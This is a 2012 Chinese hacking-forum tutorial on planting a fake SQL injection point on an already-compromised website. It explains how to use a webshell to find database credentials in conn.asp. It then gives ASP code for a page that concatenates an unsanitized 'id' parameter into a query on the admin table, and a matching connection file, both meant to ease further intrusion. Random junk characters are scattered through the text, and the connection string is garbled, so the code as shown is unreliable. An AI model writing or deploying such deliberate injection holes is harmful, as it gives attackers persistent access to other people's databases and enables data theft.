找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1832|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
" W& o  p; H+ E/ s2 g) w
/ p6 h& n& A& s今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息" n" U+ S, s1 R# N& ?: T* _

" ^, I4 z3 C* Z4 l2 Q- _" N这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!" l0 E3 @  X1 L2 p+ d0 Z. W/ j! y8 Q
  b. X2 t) E. n  c) Z5 H: R
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
( z% c3 a+ o7 y+ u4 {& X2 q. \  D" F$ `; b
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
1 S1 C) z5 l0 `9 h7 n+ e
: [& ~" I5 I$ s* Z7 \( a因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
' T3 H" m( y/ }1 p1 M% @% H9 c+ \) y
程序代码
% l; `" R1 P" o8 x- m0 _0 \<!--#include file="xx.asp"-->. Q3 f: ?6 E3 _, k
<%
. e/ s+ M! y4 B, V! jset rs=server.createobject("ADODB.recordset")3 u/ `" P) f& _3 u
id = request("id")/ c7 l. `7 W" g- {" |- Y! J& L3 f) u
strSQL = "select * from admin where id=" & id: F, M& S: L% q) {7 ^7 u
rs.open strSQL,conn,1,3
4 ]/ i8 Z" L. o$ N+ U2 xrs.close
4 l% Y5 D8 |! b. F& ~%>
) D8 Z, p1 g0 B6 Z+ Y7 `
2 [% _* x! c8 G/ A4 H把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在0 Z/ q+ p' K: S6 W/ J; K2 o

9 i3 ]! h. Q, Z% Z: v& ~你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!* u9 q/ ]+ }* M- U4 ^2 N
9 B* Y9 N) u$ Q7 @7 P
然后就要构造一个连接数据库的文件了,代码如下:# w! J+ H( N! q4 `( W1 P' Z% W& R' n
程序代码& r4 A+ O7 F+ y1 Z. `. }! q; |- V8 D
<%        % G) u0 M9 o; q* f$ z
strSQLServerName = "000.000.000.000"     '服务器名称或地址
. A1 Z  ~: W, o$ @, l$ k# MstrSQLDBUserName = "sqlname"         '数据库帐号
; h/ ]. X0 z6 @% }1 y* @strSQLDBPassword = "sqlpass"         '数据库密码
$ m4 o* [. O+ F6 wstrSQLDBName = "sqldataname"           '数据库名称' ]( X0 f0 B% ]$ ~# M( Q" H
Set conn = Server.CreateObject("ADODB.Connection")1 R& i- U& |9 _+ _+ m
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
% `: ]* ^5 X; Y4 [* s6 Qconn.open strCon
5 ^6 P( x  K" b$ l%>2 ^4 N$ R3 ~9 O& r
& Q8 s8 n0 X0 K2 I8 u" w3 |/ G
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,9 m( ?; f4 H( N) a6 ]

/ D. @& K! Y5 O; V2 ]& g6 V就这样,正常情况下,就OK了,伪造成功……$ ~9 I& U! g, {3 A0 W& |) S

8 g! y, \& ]' b( H! I           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表